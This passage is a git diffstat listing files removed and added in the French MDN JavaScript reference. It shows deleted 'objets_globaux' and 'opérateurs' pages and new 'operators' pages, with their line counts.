94 - .../reference/objets_globaux/atomics/or/index.html | 130 - .../objets_globaux/atomics/store/index.html | 90 - .../objets_globaux/atomics/sub/index.html | 86 - .../objets_globaux/atomics/wait/index.html | 96 - .../objets_globaux/atomics/xor/index.html | 130 - .../objets_globaux/bigint/asintn/index.html | 76 - .../objets_globaux/bigint/asuintn/index.html | 76 - .../reference/objets_globaux/bigint/index.html | 283 -- .../objets_globaux/bigint/prototype/index.html | 63 - .../bigint/tolocalestring/index.html | 132 - .../objets_globaux/bigint/tostring/index.html | 97 - .../objets_globaux/bigint/valueof/index.html | 62 - .../objets_globaux/bigint64array/index.html | 184 -- .../objets_globaux/biguint64array/index.html | 184 -- .../reference/objets_globaux/boolean/index.html | 166 - .../objets_globaux/boolean/prototype/index.html | 89 - .../objets_globaux/boolean/tosource/index.html | 59 - .../objets_globaux/boolean/tostring/index.html | 90 - .../objets_globaux/boolean/valueof/index.html | 86 - .../objets_globaux/dataview/buffer/index.html | 71 - .../objets_globaux/dataview/bytelength/index.html | 78 - .../objets_globaux/dataview/byteoffset/index.html | 75 - .../objets_globaux/dataview/getbigint64/index.html | 88 - .../dataview/getbiguint64/index.html | 88 - .../objets_globaux/dataview/getfloat32/index.html | 96 - .../objets_globaux/dataview/getfloat64/index.html | 96 - .../objets_globaux/dataview/getint16/index.html | 96 - .../objets_globaux/dataview/getint32/index.html | 96 - .../objets_globaux/dataview/getint8/index.html | 94 - .../objets_globaux/dataview/getuint16/index.html | 96 - .../objets_globaux/dataview/getuint32/index.html | 96 - .../objets_globaux/dataview/getuint8/index.html | 94 - .../reference/objets_globaux/dataview/index.html | 166 - .../objets_globaux/dataview/prototype/index.html | 120 - .../objets_globaux/dataview/setbigint64/index.html | 84 - .../dataview/setbiguint64/index.html | 85 - .../objets_globaux/dataview/setfloat32/index.html | 95 - .../objets_globaux/dataview/setfloat64/index.html | 95 - .../objets_globaux/dataview/setint16/index.html | 95 - .../objets_globaux/dataview/setint32/index.html | 95 - .../objets_globaux/dataview/setint8/index.html | 93 - .../objets_globaux/dataview/setuint16/index.html | 95 - .../objets_globaux/dataview/setuint32/index.html | 95 - .../objets_globaux/dataview/setuint8/index.html | 93 - .../objets_globaux/date/@@toprimitive/index.html | 67 - .../objets_globaux/date/getdate/index.html | 88 - .../objets_globaux/date/getday/index.html | 95 - .../objets_globaux/date/getfullyear/index.html | 84 - .../objets_globaux/date/gethours/index.html | 83 - .../objets_globaux/date/getmilliseconds/index.html | 81 - .../objets_globaux/date/getminutes/index.html | 85 - .../objets_globaux/date/getmonth/index.html | 94 - .../objets_globaux/date/getseconds/index.html | 83 - .../objets_globaux/date/gettime/index.html | 122 - .../date/gettimezoneoffset/index.html | 82 - .../objets_globaux/date/getutcdate/index.html | 82 - .../objets_globaux/date/getutcday/index.html | 82 - .../objets_globaux/date/getutcfullyear/index.html | 80 - .../objets_globaux/date/getutchours/index.html | 81 - .../date/getutcmilliseconds/index.html | 85 - .../objets_globaux/date/getutcminutes/index.html | 81 - .../objets_globaux/date/getutcmonth/index.html | 81 - .../objets_globaux/date/getutcseconds/index.html | 81 - .../objets_globaux/date/getyear/index.html | 127 - .../reference/objets_globaux/date/index.html | 258 -- .../reference/objets_globaux/date/now/index.html | 106 - .../reference/objets_globaux/date/parse/index.html | 198 -- .../objets_globaux/date/prototype/index.html | 183 -- .../objets_globaux/date/setdate/index.html | 98 - .../objets_globaux/date/setfullyear/index.html | 97 - .../objets_globaux/date/sethours/index.html | 103 - .../objets_globaux/date/setmilliseconds/index.html | 90 - .../objets_globaux/date/setminutes/index.html | 106 - .../objets_globaux/date/setmonth/index.html | 110 - .../objets_globaux/date/setseconds/index.html | 98 - .../objets_globaux/date/settime/index.html | 91 - .../objets_globaux/date/setutcdate/index.html | 90 - .../objets_globaux/date/setutcfullyear/index.html | 96 - .../objets_globaux/date/setutchours/index.html | 98 - .../date/setutcmilliseconds/index.html | 90 - .../objets_globaux/date/setutcminutes/index.html | 99 - .../objets_globaux/date/setutcmonth/index.html | 94 - .../objets_globaux/date/setutcseconds/index.html | 94 - .../objets_globaux/date/setyear/index.html | 94 - .../objets_globaux/date/todatestring/index.html | 94 - .../objets_globaux/date/togmtstring/index.html | 85 - .../objets_globaux/date/toisostring/index.html | 107 - .../objets_globaux/date/tojson/index.html | 81 - .../date/tolocaledatestring/index.html | 186 -- .../objets_globaux/date/tolocalestring/index.html | 204 -- .../date/tolocaletimestring/index.html | 178 -- .../objets_globaux/date/tosource/index.html | 57 - .../objets_globaux/date/tostring/index.html | 135 - .../objets_globaux/date/totimestring/index.html | 88 - .../objets_globaux/date/toutcstring/index.html | 92 - .../reference/objets_globaux/date/utc/index.html | 137 - .../objets_globaux/date/valueof/index.html | 87 - .../reference/objets_globaux/decodeuri/index.html | 103 - .../objets_globaux/decodeuricomponent/index.html | 92 - .../reference/objets_globaux/encodeuri/index.html | 124 - .../objets_globaux/encodeuricomponent/index.html | 163 - .../objets_globaux/error/columnnumber/index.html | 43 - .../objets_globaux/error/filename/index.html | 48 - .../reference/objets_globaux/error/index.html | 249 -- .../objets_globaux/error/linenumber/index.html | 51 - .../objets_globaux/error/message/index.html | 76 - .../reference/objets_globaux/error/name/index.html | 76 - .../objets_globaux/error/prototype/index.html | 115 - .../objets_globaux/error/stack/index.html | 124 - .../objets_globaux/error/tosource/index.html | 55 - .../objets_globaux/error/tostring/index.html | 112 - .../reference/objets_globaux/escape/index.html | 97 - .../reference/objets_globaux/eval/index.html | 281 -- .../reference/objets_globaux/evalerror/index.html | 115 - .../objets_globaux/evalerror/prototype/index.html | 91 - .../objets_globaux/float32array/index.html | 205 -- .../objets_globaux/float64array/index.html | 204 -- .../objets_globaux/function/apply/index.html | 211 -- .../objets_globaux/function/arguments/index.html | 91 - .../objets_globaux/function/bind/index.html | 250 -- .../objets_globaux/function/call/index.html | 177 -- .../objets_globaux/function/caller/index.html | 83 - .../objets_globaux/function/displayname/index.html | 81 - .../reference/objets_globaux/function/index.html | 153 - .../objets_globaux/function/length/index.html | 89 - .../objets_globaux/function/name/index.html | 201 -- .../objets_globaux/function/prototype/index.html | 99 - .../objets_globaux/function/tosource/index.html | 67 - .../objets_globaux/function/tostring/index.html | 98 - .../reference/objets_globaux/generator/index.html | 135 - .../objets_globaux/generator/next/index.html | 116 - .../objets_globaux/generator/return/index.html | 102 - .../objets_globaux/generator/throw/index.html | 101 - .../objets_globaux/generatorfunction/index.html | 115 - .../generatorfunction/prototype/index.html | 67 - .../reference/objets_globaux/globalthis/index.html | 87 - .../javascript/reference/objets_globaux/index.html | 185 -- .../reference/objets_globaux/infinity/index.html | 83 - .../reference/objets_globaux/int16array/index.html | 205 -- .../reference/objets_globaux/int32array/index.html | 205 -- .../reference/objets_globaux/int8array/index.html | 209 -- .../objets_globaux/internalerror/index.html | 81 - .../internalerror/prototype/index.html | 63 - .../intl/collator/compare/index.html | 102 - .../objets_globaux/intl/collator/index.html | 178 -- .../intl/collator/prototype/index.html | 81 - .../intl/collator/resolvedoptions/index.html | 98 - .../intl/collator/supportedlocalesof/index.html | 98 - .../intl/datetimeformat/format/index.html | 126 - .../intl/datetimeformat/formatrange/index.html | 82 - .../datetimeformat/formatrangetoparts/index.html | 73 - .../intl/datetimeformat/formattoparts/index.html | 166 - .../objets_globaux/intl/datetimeformat/index.html | 297 -- .../intl/datetimeformat/prototype/index.html | 82 - .../intl/datetimeformat/resolvedoptions/index.html | 105 - .../datetimeformat/supportedlocalesof/index.html | 98 - .../intl/getcanonicallocales/index.html | 73 - .../reference/objets_globaux/intl/index.html | 163 - .../intl/listformat/format/index.html | 68 - .../intl/listformat/formattoparts/index.html | 90 - .../objets_globaux/intl/listformat/index.html | 153 - .../intl/listformat/prototype/index.html | 63 - .../intl/listformat/resolvedoptions/index.html | 82 - .../intl/listformat/supportedlocalesof/index.html | 88 - .../objets_globaux/intl/locale/basename/index.html | 75 - .../objets_globaux/intl/locale/calendar/index.html | 156 - .../intl/locale/casefirst/index.html | 94 - .../intl/locale/collation/index.html | 167 - .../intl/locale/hourcycle/index.html | 95 - .../objets_globaux/intl/locale/index.html | 74 - .../objets_globaux/intl/locale/language/index.html | 69 - .../objets_globaux/intl/locale/maximize/index.html | 78 - .../objets_globaux/intl/locale/minimize/index.html | 80 - .../intl/locale/numberingsystem/index.html | 425 --- .../objets_globaux/intl/locale/numeric/index.html | 69 - .../intl/locale/prototype/index.html | 91 - .../objets_globaux/intl/locale/region/index.html | 71 - .../objets_globaux/intl/locale/script/index.html | 68 - .../objets_globaux/intl/locale/tostring/index.html | 69 - .../intl/numberformat/format/index.html | 97 - .../intl/numberformat/formattoparts/index.html | 152 - .../objets_globaux/intl/numberformat/index.html | 203 -- .../intl/numberformat/prototype/index.html | 83 - .../intl/numberformat/resolvedoptions/index.html | 112 - .../numberformat/supportedlocalesof/index.html | 98 - .../objets_globaux/intl/pluralrules/index.html | 160 - .../intl/pluralrules/prototype/index.html | 71 - .../intl/pluralrules/resolvedoptions/index.html | 95 - .../intl/pluralrules/select/index.html | 79 - .../intl/pluralrules/supportedlocalesof/index.html | 84 - .../intl/relativetimeformat/format/index.html | 103 - .../relativetimeformat/formattoparts/index.html | 86 - .../intl/relativetimeformat/index.html | 162 - .../intl/relativetimeformat/prototype/index.html | 73 - .../relativetimeformat/resolvedoptions/index.html | 100 - .../supportedlocalesof/index.html | 87 - .../reference/objets_globaux/isfinite/index.html | 101 - .../reference/objets_globaux/isnan/index.html | 155 - .../reference/objets_globaux/json/index.html | 153 - .../reference/objets_globaux/json/parse/index.html | 131 - .../objets_globaux/json/stringify/index.html | 372 --- .../objets_globaux/map/@@iterator/index.html | 92 - .../objets_globaux/map/@@species/index.html | 72 - .../objets_globaux/map/@@tostringtag/index.html | 57 - .../reference/objets_globaux/map/clear/index.html | 78 - .../reference/objets_globaux/map/delete/index.html | 77 - .../objets_globaux/map/entries/index.html | 81 - .../objets_globaux/map/foreach/index.html | 105 - .../reference/objets_globaux/map/get/index.html | 79 - .../reference/objets_globaux/map/has/index.html | 79 - .../reference/objets_globaux/map/index.html | 277 -- .../reference/objets_globaux/map/keys/index.html | 78 - .../objets_globaux/map/prototype/index.html | 89 - .../reference/objets_globaux/map/set/index.html | 96 - .../reference/objets_globaux/map/size/index.html | 68 - .../reference/objets_globaux/map/values/index.html | 78 - .../reference/objets_globaux/math/abs/index.html | 103 - .../reference/objets_globaux/math/acos/index.html | 103 - .../reference/objets_globaux/math/acosh/index.html | 100 - .../reference/objets_globaux/math/asin/index.html | 102 - .../reference/objets_globaux/math/asinh/index.html | 91 - .../reference/objets_globaux/math/atan/index.html | 105 - .../reference/objets_globaux/math/atan2/index.html | 113 - .../reference/objets_globaux/math/atanh/index.html | 102 - .../reference/objets_globaux/math/cbrt/index.html | 91 - .../reference/objets_globaux/math/ceil/index.html | 177 -- .../reference/objets_globaux/math/clz32/index.html | 95 - .../reference/objets_globaux/math/cos/index.html | 98 - .../reference/objets_globaux/math/cosh/index.html | 104 - .../reference/objets_globaux/math/e/index.html | 83 - .../reference/objets_globaux/math/exp/index.html | 96 - .../reference/objets_globaux/math/expm1/index.html | 94 - .../reference/objets_globaux/math/floor/index.html | 100 - .../objets_globaux/math/fround/index.html | 89 - .../reference/objets_globaux/math/hypot/index.html | 129 - .../reference/objets_globaux/math/imul/index.html | 93 - .../reference/objets_globaux/math/index.html | 173 -- .../reference/objets_globaux/math/ln10/index.html | 83 - .../reference/objets_globaux/math/ln2/index.html | 83 - .../reference/objets_globaux/math/log/index.html | 107 - .../reference/objets_globaux/math/log10/index.html | 100 - .../objets_globaux/math/log10e/index.html | 83 - .../reference/objets_globaux/math/log1p/index.html | 99 - .../reference/objets_globaux/math/log2/index.html | 92 - .../reference/objets_globaux/math/log2e/index.html | 83 - .../reference/objets_globaux/math/max/index.html | 115 - .../reference/objets_globaux/math/min/index.html | 111 - .../reference/objets_globaux/math/pi/index.html | 81 - .../reference/objets_globaux/math/pow/index.html | 106 - .../objets_globaux/math/random/index.html | 114 - .../reference/objets_globaux/math/round/index.html | 97 - .../reference/objets_globaux/math/sign/index.html | 92 - .../reference/objets_globaux/math/sin/index.html | 94 - .../reference/objets_globaux/math/sinh/index.html | 98 - .../reference/objets_globaux/math/sqrt/index.html | 97 - .../objets_globaux/math/sqrt1_2/index.html | 80 - .../reference/objets_globaux/math/sqrt2/index.html | 80 - .../reference/objets_globaux/math/tan/index.html | 101 - .../reference/objets_globaux/math/tanh/index.html | 106 - .../reference/objets_globaux/math/trunc/index.html | 97 - .../reference/objets_globaux/nan/index.html | 92 - .../reference/objets_globaux/null/index.html | 91 - .../objets_globaux/number/epsilon/index.html | 76 - .../reference/objets_globaux/number/index.html | 203 -- .../objets_globaux/number/isfinite/index.html | 115 - .../objets_globaux/number/isinteger/index.html | 102 - .../objets_globaux/number/isnan/index.html | 104 - .../objets_globaux/number/issafeinteger/index.html | 100 - .../number/max_safe_integer/index.html | 74 - .../objets_globaux/number/max_value/index.html | 80 - .../number/min_safe_integer/index.html | 72 - .../objets_globaux/number/min_value/index.html | 83 - .../reference/objets_globaux/number/nan/index.html | 64 - .../number/negative_infinity/index.html | 99 - .../objets_globaux/number/parsefloat/index.html | 84 - .../objets_globaux/number/parseint/index.html | 84 - .../number/positive_infinity/index.html | 100 - .../objets_globaux/number/prototype/index.html | 91 - .../objets_globaux/number/toexponential/index.html | 112 - .../objets_globaux/number/tofixed/index.html | 116 - .../number/tolocalestring/index.html | 197 -- .../objets_globaux/number/toprecision/index.html | 105 - .../objets_globaux/number/tosource/index.html | 57 - .../objets_globaux/number/tostring/index.html | 120 - .../objets_globaux/number/valueof/index.html | 86 - .../objets_globaux/object/assign/index.html | 219 -- .../objets_globaux/object/constructor/index.html | 233 -- .../objets_globaux/object/create/index.html | 304 -- .../objets_globaux/object/definegetter/index.html | 103 - .../object/defineproperties/index.html | 201 -- .../object/defineproperty/index.html | 421 --- .../objets_globaux/object/definesetter/index.html | 115 - .../objets_globaux/object/entries/index.html | 162 - .../objets_globaux/object/freeze/index.html | 257 -- .../objets_globaux/object/fromentries/index.html | 108 - .../object/getownpropertydescriptor/index.html | 149 - .../object/getownpropertydescriptors/index.html | 120 - .../object/getownpropertynames/index.html | 180 -- .../object/getownpropertysymbols/index.html | 92 - .../object/getprototypeof/index.html | 101 - .../object/hasownproperty/index.html | 158 - .../reference/objets_globaux/object/index.html | 184 -- .../reference/objets_globaux/object/is/index.html | 130 - .../objets_globaux/object/isextensible/index.html | 114 - .../objets_globaux/object/isfrozen/index.html | 177 -- .../objets_globaux/object/isprototypeof/index.html | 126 - .../objets_globaux/object/issealed/index.html | 137 - .../objets_globaux/object/keys/index.html | 129 - .../objets_globaux/object/lookupgetter/index.html | 91 - .../objets_globaux/object/lookupsetter/index.html | 91 - .../object/preventextensions/index.html | 141 - .../object/propertyisenumerable/index.html | 150 - .../objets_globaux/object/proto/index.html | 162 - .../objets_globaux/object/prototype/index.html | 176 -- .../objets_globaux/object/seal/index.html | 153 - .../object/setprototypeof/index.html | 210 -- .../object/tolocalestring/index.html | 85 - .../objets_globaux/object/tosource/index.html | 132 - .../objets_globaux/object/tostring/index.html | 138 - .../objets_globaux/object/valueof/index.html | 120 - .../objets_globaux/object/values/index.html | 109 - .../reference/objets_globaux/parsefloat/index.html | 150 - .../reference/objets_globaux/parseint/index.html | 204 -- .../objets_globaux/promise/all/index.html | 226 -- .../objets_globaux/promise/allsettled/index.html | 66 - .../objets_globaux/promise/any/index.html | 145 - .../objets_globaux/promise/catch/index.html | 164 - .../objets_globaux/promise/finally/index.html | 106 - .../reference/objets_globaux/promise/index.html | 243 -- .../objets_globaux/promise/prototype/index.html | 73 - .../objets_globaux/promise/race/index.html | 191 -- .../objets_globaux/promise/reject/index.html | 79 - .../objets_globaux/promise/resolve/index.html | 156 - .../objets_globaux/promise/then/index.html | 265 -- .../objets_globaux/proxy/handler/apply/index.html | 118 - .../proxy/handler/construct/index.html | 137 - .../proxy/handler/defineproperty/index.html | 144 - .../proxy/handler/deleteproperty/index.html | 113 - .../objets_globaux/proxy/handler/get/index.html | 136 - .../handler/getownpropertydescriptor/index.html | 132 - .../proxy/handler/getprototypeof/index.html | 154 - .../objets_globaux/proxy/handler/has/index.html | 130 - .../objets_globaux/proxy/handler/index.html | 83 - .../proxy/handler/isextensible/index.html | 123 - .../proxy/handler/ownkeys/index.html | 136 - .../proxy/handler/preventextensions/index.html | 124 - .../objets_globaux/proxy/handler/set/index.html | 125 - .../proxy/handler/setprototypeof/index.html | 136 - .../reference/objets_globaux/proxy/index.html | 407 --- .../objets_globaux/proxy/revocable/index.html | 92 - .../reference/objets_globaux/rangeerror/index.html | 150 - .../objets_globaux/rangeerror/prototype/index.html | 92 - .../objets_globaux/referenceerror/index.html | 131 - .../referenceerror/prototype/index.html | 92 - .../objets_globaux/reflect/apply/index.html | 100 - .../index.html" | 99 - .../objets_globaux/reflect/construct/index.html | 163 - .../reflect/defineproperty/index.html | 100 - .../reflect/deleteproperty/index.html | 96 - .../objets_globaux/reflect/get/index.html | 98 - .../reflect/getownpropertydescriptor/index.html | 103 - .../reflect/getprototypeof/index.html | 106 - .../objets_globaux/reflect/has/index.html | 96 - .../reference/objets_globaux/reflect/index.html | 85 - .../objets_globaux/reflect/isextensible/index.html | 113 - .../objets_globaux/reflect/ownkeys/index.html | 95 - .../reflect/preventextensions/index.html | 103 - .../objets_globaux/reflect/set/index.html | 109 - .../reflect/setprototypeof/index.html | 100 - .../objets_globaux/regexp/@@match/index.html | 119 - .../objets_globaux/regexp/@@matchall/index.html | 109 - .../objets_globaux/regexp/@@replace/index.html | 124 - .../objets_globaux/regexp/@@search/index.html | 118 - .../objets_globaux/regexp/@@species/index.html | 77 - .../objets_globaux/regexp/@@split/index.html | 118 - .../objets_globaux/regexp/compile/index.html | 87 - .../objets_globaux/regexp/dotall/index.html | 50 - .../objets_globaux/regexp/exec/index.html | 200 -- .../objets_globaux/regexp/flags/index.html | 80 - .../objets_globaux/regexp/global/index.html | 90 - .../objets_globaux/regexp/ignorecase/index.html | 81 - .../reference/objets_globaux/regexp/index.html | 243 -- .../objets_globaux/regexp/input/index.html | 59 - .../objets_globaux/regexp/lastindex/index.html | 104 - .../objets_globaux/regexp/lastmatch/index.html | 58 - .../objets_globaux/regexp/lastparen/index.html | 57 - .../objets_globaux/regexp/leftcontext/index.html | 56 - .../objets_globaux/regexp/multiline/index.html | 87 - .../reference/objets_globaux/regexp/n/index.html | 68 - .../objets_globaux/regexp/prototype/index.html | 119 - .../objets_globaux/regexp/rightcontext/index.html | 57 - .../objets_globaux/regexp/source/index.html | 82 - .../objets_globaux/regexp/sticky/index.html | 95 - .../objets_globaux/regexp/test/index.html | 138 - .../objets_globaux/regexp/tosource/index.html | 57 - .../objets_globaux/regexp/tostring/index.html | 96 - .../objets_globaux/regexp/unicode/index.html | 74 - .../objets_globaux/set/@@iterator/index.html | 92 - .../objets_globaux/set/@@species/index.html | 72 - .../reference/objets_globaux/set/add/index.html | 81 - .../reference/objets_globaux/set/clear/index.html | 77 - .../reference/objets_globaux/set/delete/index.html | 96 - .../objets_globaux/set/entries/index.html | 77 - .../objets_globaux/set/foreach/index.html | 115 - .../reference/objets_globaux/set/has/index.html | 91 - .../reference/objets_globaux/set/index.html | 249 -- .../objets_globaux/set/prototype/index.html | 88 - .../reference/objets_globaux/set/size/index.html | 67 - .../reference/objets_globaux/set/values/index.html | 78 - .../sharedarraybuffer/bytelength/index.html | 62 - .../objets_globaux/sharedarraybuffer/index.html | 135 - .../sharedarraybuffer/prototype/index.html | 67 - .../sharedarraybuffer/slice/index.html | 92 - .../objets_globaux/string/@@iterator/index.html | 89 - .../objets_globaux/string/anchor/index.html | 86 - .../reference/objets_globaux/string/big/index.html | 81 - .../objets_globaux/string/blink/index.html | 85 - .../objets_globaux/string/bold/index.html | 83 - .../objets_globaux/string/charat/index.html | 249 -- .../objets_globaux/string/charcodeat/index.html | 173 -- .../objets_globaux/string/codepointat/index.html | 144 - .../objets_globaux/string/concat/index.html | 106 - .../objets_globaux/string/endswith/index.html | 103 - .../objets_globaux/string/fixed/index.html | 74 - .../objets_globaux/string/fontcolor/index.html | 89 - .../objets_globaux/string/fontsize/index.html | 88 - .../objets_globaux/string/fromcharcode/index.html | 117 - .../objets_globaux/string/fromcodepoint/index.html | 111 - .../objets_globaux/string/includes/index.html | 129 - .../reference/objets_globaux/string/index.html | 284 -- .../objets_globaux/string/indexof/index.html | 161 - .../objets_globaux/string/italics/index.html | 83 - .../objets_globaux/string/lastindexof/index.html | 125 - .../objets_globaux/string/length/index.html | 101 - .../objets_globaux/string/link/index.html | 85 - .../objets_globaux/string/localecompare/index.html | 183 -- .../objets_globaux/string/match/index.html | 157 - .../objets_globaux/string/matchall/index.html | 122 - .../objets_globaux/string/normalize/index.html | 127 - .../objets_globaux/string/padend/index.html | 76 - .../objets_globaux/string/padstart/index.html | 78 - .../objets_globaux/string/prototype/index.html | 190 -- .../reference/objets_globaux/string/raw/index.html | 116 - .../objets_globaux/string/repeat/index.html | 87 - .../objets_globaux/string/replace/index.html | 309 -- .../objets_globaux/string/replaceall/index.html | 170 - .../objets_globaux/string/search/index.html | 106 - .../objets_globaux/string/slice/index.html | 129 - .../objets_globaux/string/small/index.html | 80 - .../objets_globaux/string/split/index.html | 239 -- .../objets_globaux/string/startswith/index.html | 87 - .../objets_globaux/string/strike/index.html | 83 - .../reference/objets_globaux/string/sub/index.html | 76 - .../objets_globaux/string/substr/index.html | 139 - .../objets_globaux/string/substring/index.html | 180 -- .../reference/objets_globaux/string/sup/index.html | 76 - .../string/tolocalelowercase/index.html | 109 - .../string/tolocaleuppercase/index.html | 110 - .../objets_globaux/string/tolowercase/index.html | 81 - .../objets_globaux/string/tosource/index.html | 58 - .../objets_globaux/string/tostring/index.html | 82 - .../objets_globaux/string/touppercase/index.html | 107 - .../objets_globaux/string/trim/index.html | 96 - .../objets_globaux/string/trimend/index.html | 82 - .../objets_globaux/string/trimstart/index.html | 82 - .../objets_globaux/string/valueof/index.html | 83 - .../objets_globaux/symbol/@@toprimitive/index.html | 64 - .../objets_globaux/symbol/asynciterator/index.html | 82 - .../objets_globaux/symbol/description/index.html | 74 - .../reference/objets_globaux/symbol/for/index.html | 113 - .../objets_globaux/symbol/hasinstance/index.html | 65 - .../reference/objets_globaux/symbol/index.html | 229 -- .../symbol/isconcatspreadable/index.html | 110 - .../objets_globaux/symbol/iterator/index.html | 122 - .../objets_globaux/symbol/keyfor/index.html | 80 - .../objets_globaux/symbol/match/index.html | 79 - .../objets_globaux/symbol/matchall/index.html | 67 - .../objets_globaux/symbol/prototype/index.html | 75 - .../objets_globaux/symbol/replace/index.html | 59 - .../objets_globaux/symbol/search/index.html | 59 - .../objets_globaux/symbol/species/index.html | 73 - .../objets_globaux/symbol/split/index.html | 59 - .../objets_globaux/symbol/toprimitive/index.html | 88 - .../objets_globaux/symbol/tosource/index.html | 60 - .../objets_globaux/symbol/tostring/index.html | 82 - .../objets_globaux/symbol/tostringtag/index.html | 93 - .../objets_globaux/symbol/unscopables/index.html | 93 - .../objets_globaux/symbol/valueof/index.html | 64 - .../objets_globaux/syntaxerror/index.html | 133 - .../syntaxerror/prototype/index.html | 90 - .../typedarray/@@iterator/index.html | 86 - .../objets_globaux/typedarray/@@species/index.html | 88 - .../objets_globaux/typedarray/buffer/index.html | 68 - .../typedarray/bytelength/index.html | 75 - .../typedarray/byteoffset/index.html | 68 - .../typedarray/bytes_per_element/index.html | 80 - .../typedarray/copywithin/index.html | 87 - .../objets_globaux/typedarray/entries/index.html | 93 - .../objets_globaux/typedarray/every/index.html | 110 - .../objets_globaux/typedarray/fill/index.html | 100 - .../objets_globaux/typedarray/filter/index.html | 111 - .../objets_globaux/typedarray/find/index.html | 114 - .../objets_globaux/typedarray/findindex/index.html | 116 - .../objets_globaux/typedarray/foreach/index.html | 114 - .../objets_globaux/typedarray/from/index.html | 130 - .../objets_globaux/typedarray/includes/index.html | 86 - .../reference/objets_globaux/typedarray/index.html | 286 -- .../objets_globaux/typedarray/indexof/index.html | 92 - .../objets_globaux/typedarray/join/index.html | 92 - .../objets_globaux/typedarray/keys/index.html | 94 - .../typedarray/lastindexof/index.html | 87 - .../objets_globaux/typedarray/length/index.html | 75 - .../objets_globaux/typedarray/map/index.html | 117 - .../objets_globaux/typedarray/name/index.html | 75 - .../objets_globaux/typedarray/of/index.html | 97 - .../objets_globaux/typedarray/prototype/index.html | 132 - .../objets_globaux/typedarray/reduce/index.html | 98 - .../typedarray/reduceright/index.html | 100 - .../objets_globaux/typedarray/reverse/index.html | 70 - .../objets_globaux/typedarray/set/index.html | 97 - .../objets_globaux/typedarray/slice/index.html | 109 - .../objets_globaux/typedarray/some/index.html | 125 - .../objets_globaux/typedarray/sort/index.html | 92 - .../objets_globaux/typedarray/subarray/index.html | 96 - .../typedarray/tolocalestring/index.html | 78 - .../objets_globaux/typedarray/tostring/index.html | 79 - .../objets_globaux/typedarray/values/index.html | 92 - .../reference/objets_globaux/typeerror/index.html | 139 - .../objets_globaux/typeerror/prototype/index.html | 90 - .../objets_globaux/uint16array/index.html | 206 -- .../objets_globaux/uint32array/index.html | 206 -- .../reference/objets_globaux/uint8array/index.html | 206 -- .../objets_globaux/uint8clampedarray/index.html | 208 -- .../reference/objets_globaux/undefined/index.html | 137 - .../reference/objets_globaux/unescape/index.html | 91 - .../reference/objets_globaux/uneval/index.html | 69 - .../reference/objets_globaux/urierror/index.html | 137 - .../objets_globaux/urierror/prototype/index.html | 90 - .../objets_globaux/weakmap/clear/index.html | 52 - .../objets_globaux/weakmap/delete/index.html | 78 - .../objets_globaux/weakmap/get/index.html | 79 - .../objets_globaux/weakmap/has/index.html | 79 - .../reference/objets_globaux/weakmap/index.html | 163 - .../objets_globaux/weakmap/prototype/index.html | 82 - .../objets_globaux/weakmap/set/index.html | 90 - .../objets_globaux/weakset/add/index.html | 84 - .../objets_globaux/weakset/clear/index.html | 48 - .../objets_globaux/weakset/delete/index.html | 82 - .../objets_globaux/weakset/has/index.html | 83 - .../reference/objets_globaux/weakset/index.html | 146 - .../objets_globaux/weakset/prototype/index.html | 80 - .../objets_globaux/webassembly/compile/index.html | 89 - .../webassembly/compileerror/index.html | 120 - .../webassembly/compilestreaming/index.html | 81 - .../objets_globaux/webassembly/global/index.html | 117 - .../webassembly/global/prototype/index.html | 69 - .../objets_globaux/webassembly/index.html | 106 - .../webassembly/instance/exports/index.html | 71 - .../objets_globaux/webassembly/instance/index.html | 81 - .../webassembly/instance/prototype/index.html | 71 - .../webassembly/instantiate/index.html | 175 -- .../webassembly/instantiatestreaming/index.html | 90 - .../webassembly/linkerror/index.html | 119 - .../webassembly/memory/buffer/index.html | 67 - .../webassembly/memory/grow/index.html | 81 - .../objets_globaux/webassembly/memory/index.html | 123 - .../webassembly/memory/prototype/index.html | 72 - .../webassembly/module/customsections/index.html | 98 - .../webassembly/module/exports/index.html | 108 - .../webassembly/module/imports/index.html | 84 - .../objets_globaux/webassembly/module/index.html | 89 - .../webassembly/module/prototype/index.html | 69 - .../webassembly/runtimeerror/index.html | 119 - .../webassembly/table/get/index.html | 83 - .../webassembly/table/grow/index.html | 83 - .../objets_globaux/webassembly/table/index.html | 137 - .../webassembly/table/length/index.html | 68 - .../webassembly/table/prototype/index.html | 76 - .../webassembly/table/set/index.html | 105 - .../objets_globaux/webassembly/validate/index.html | 81 - .../reference/operators/addition/index.html | 83 + .../operators/addition_assignment/index.html | 58 + .../reference/operators/assignment/index.html | 65 + .../reference/operators/async_function/index.html | 116 + .../reference/operators/await/index.html | 132 + .../reference/operators/class/index.html | 111 + .../reference/operators/comma_operator/index.html | 107 + .../operators/conditional_operator/index.html | 152 + .../reference/operators/delete/index.html | 305 ++ .../operators/destructuring_assignment/index.html | 424 +++ .../reference/operators/function/index.html | 163 + .../reference/operators/function_star_/index.html | 91 + .../reference/operators/grouping/index.html | 91 + .../javascript/reference/operators/in/index.html | 145 + .../web/javascript/reference/operators/index.html | 302 ++ .../reference/operators/instanceof/index.html | 173 ++ .../reference/operators/new.target/index.html | 110 + .../javascript/reference/operators/new/index.html | 200 ++ .../nullish_coalescing_operator/index.html | 151 + .../operators/object_initializer/index.html | 305 ++ .../operators/operator_precedence/index.html | 359 +++ .../operators/optional_chaining/index.html | 196 ++ .../operators/pipeline_operator/index.html | 72 + .../operators/property_accessors/index.html | 154 + .../reference/operators/spread_syntax/index.html | 262 ++ .../reference/operators/super/index.html | 184 ++ .../javascript/reference/operators/this/index.html | 420 +++ .../reference/operators/typeof/index.html | 273 ++ .../javascript/reference/operators/void/index.html | 122 + .../reference/operators/yield/index.html | 127 + .../reference/operators/yield_star_/index.html | 162 + .../op\303\251rateurs/addition/index.html" | 83 - .../addition_avec_assignement/index.html" | 58 - .../affecter_par_d\303\251composition/index.html" | 424 --- .../op\303\251rateurs/assignement/index.html" | 65 - .../op\303\251rateurs/async_function/index.html" | 116 - .../reference/op\303\251rateurs/await/index.html" | 132 - .../reference/op\303\251rateurs/class/index.html" | 111 - .../op\303\251rateurs/function_star_/index.html" | 91 - .../op\303\251rateurs/groupement/index.html" | 91 - .../reference/op\303\251rateurs/index.html" | 302 -- .../initialisateur_objet/index.html" | 305 -- .../op\303\251rateurs/instanceof/index.html" | 173 -- .../l_op\303\251rateur_conditionnel/index.html" | 152 - .../l_op\303\251rateur_delete/index.html" | 305 -- .../l_op\303\251rateur_function/index.html" | 163 - .../l_op\303\251rateur_in/index.html" | 145 - .../l_op\303\251rateur_new/index.html" | 200 -- .../l_op\303\251rateur_this/index.html" | 420 --- .../l_op\303\251rateur_typeof/index.html" | 273 -- 